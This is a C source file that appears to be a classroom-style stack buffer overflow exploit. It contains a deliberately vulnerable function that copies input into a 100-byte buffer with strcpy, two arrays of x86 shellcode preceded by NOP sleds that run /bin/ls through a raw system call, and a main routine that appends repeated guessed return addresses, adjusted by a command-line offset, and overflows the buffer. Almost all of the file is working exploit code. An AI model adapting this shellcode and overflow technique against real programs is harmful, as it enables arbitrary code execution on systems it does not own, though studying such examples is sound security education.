#include <string.h>
#include <stdio.h>

unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}

void foo( const char *s ) {
  char name[100];
  printf("sp is %x\n",get_sp());
  strcpy(name,s);
  printf("Name is %s\n",name);  
}

/*
int main(void) {
  char buf[10000];
  int n;

  n=read(0,buf,2000);
  printf("read in %d bytes\n",n);
  printf("Strlen is %d\n",strlen(buf));
  foo(buf);
  printf("Done\n");
}

*/
unsigned char pgm[] = {
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x55, 0x89, 0xe5, 0x31, 0xc9, 0x51, 0xeb, 0x1b, 0x58, 0x88,
  0x48, 0x07, 0x89, 0x40, 0x08, 0x89, 0x48, 0x0c, 0x8d, 0x58,
  0x08, 0x53, 0x50, 0x31, 0xc0, 0xb0, 0x3b, 0x50, 0xcd, 0x80,
  0x83, 0xc4, 0x0c, 0xc9, 0xc3, 0xe8, 0xe0, 0xff, 0xff, 0xff,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x6c, 0x73, 0x01, 0x01, 0x01,
  0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 

 };

  unsigned char str[] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 
    0x31, 0xc9, 0x51, 0xeb, 0x1b, 0x58, 0x88, 0x48,
    0x07, 0x89, 0x40, 0x08, 0x89, 0x48, 0x0c, 0x8d,
    0x58, 0x08, 0x53, 0x50, 0x31, 0xc0, 0xb0, 0x3b,
    0x50, 0xcd, 0x80, 0x83, 0xc4, 0x0c, 0xc9, 0xc3,
    0xe8, 0xe0, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69,
    0x6e, 0x2f, 0x6c, 0x73, 0x01, 0x01, 0x01, 0x01,
    0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01
  };

unsigned char buff[2000];
unsigned int target = 0xbfbff958;

int main(int argc, char **argv) {
  int i;
  int n = strlen(str);
  if (argc!=2) {
    printf("Error - need an offset\n");
    exit();
  }

  printf("n is %d\n",n);

  target += atoi(argv[1]);

  printf("using %x\n",target);

  memcpy(buff,str,n);
  for (i=0;i<10;i++) {
    printf("Address is %x\n",buff+n+i*4);
    memcpy(buff+n+i*4,&target,4);
  }
  foo(buff);
  printf("Done\n");
}